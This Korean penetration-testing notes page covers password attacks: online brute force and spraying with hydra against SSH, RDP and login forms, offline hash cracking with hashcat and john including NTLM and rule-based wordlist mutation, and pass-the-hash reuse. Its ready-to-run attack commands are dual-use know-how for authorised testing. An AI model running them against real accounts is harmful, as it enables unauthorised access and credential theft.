Notes / Penetration Testing
패스워드 공격과 해시 크래킹
서비스 로그인 공격(브루트포스·스프레이)과 오프라인 해시 크래킹의 원리, 워드리스트 변형·룰, NTLM 처리까지 패스워드 공격의 개념과 구문을 정리합니다.
목차
패스워드 공격은 두 갈래다. 서비스에 직접 로그인 시도하는 온라인 공격(hydra 류)과, 획득한 해시를 떼어내 오프라인에서 푸는 크래킹(hashcat/john). 사람은 예측 가능한 비밀번호를 쓰므로, 좋은 워드리스트와 룰이 승부를 가른다.
개념
- 온라인 공격: SSH·RDP·HTTP 로그인 폼 등에 후보 자격증명을 시도. 브루트포스(전수)보다 스프레이(흔한 비밀번호 1~2개를 여러 계정에)가 잠금을 피하며 효율적. 잠금 정책·속도 제한에 주의.
- 오프라인 크래킹: 해시를 확보하면 대상에 흔적 없이 GPU로 대량 시도. 핵심은 해시 유형 식별 → 모드 선택 → 워드리스트+룰.
- 워드리스트 변형(룰): 기본 단어에 대문자·숫자·특수문자 치환을 규칙으로 붙여(leetspeak, 연도 접미사) 현실적 변형을 커버.
- 해시 종류: 빠른 해시(MD5/SHA1)는 잘 깨지고, 느린 해시(bcrypt/KDF)는 오래 걸린다. Windows는 NTLM 해시, 리눅스는
/etc/shadow의 KDF.
온라인: 서비스 ← 시도(느림·흔적·잠금) → 스프레이 선호
오프라인: 해시 → GPU 크래킹(빠름·무흔적) → 워드리스트+룰
공격·우회 구문
허가된 대상에서만.
온라인(hydra)
hydra -l user -P wordlist.txt ssh://target.example
hydra -L users.txt -p 'Winter2026!' rdp://target.example # 스프레이
hydra -l admin -P wordlist.txt target.example http-post-form \
"/login:user=^USER^&pass=^PASS^:F=invalid"
해시 유형 식별·크래킹
hashid '<hash>' # 유형 추정
hashcat -m 1000 ntlm.txt wordlist.txt # NTLM
hashcat -m 1800 shadow.txt wordlist.txt # sha512crypt
john --format=raw-sha256 hashes.txt --wordlist=wordlist.txt
워드리스트 변형(룰)
hashcat -m 1000 ntlm.txt wordlist.txt -r rules/best64.rule
# 룰 예: c=첫글자 대문자, $2$0$2$6=연도 접미사, leet 치환
획득 해시 재사용(개념)
NTLM 해시는 pass-the-hash 로 재인증에 재사용 가능(크랙 불필요)
서비스/계정 간 비밀번호 재사용 → 수평 이동 입력
개인 키 암호(id_rsa)·KeePass(.kdbx) 등 보관소도 크래킹 대상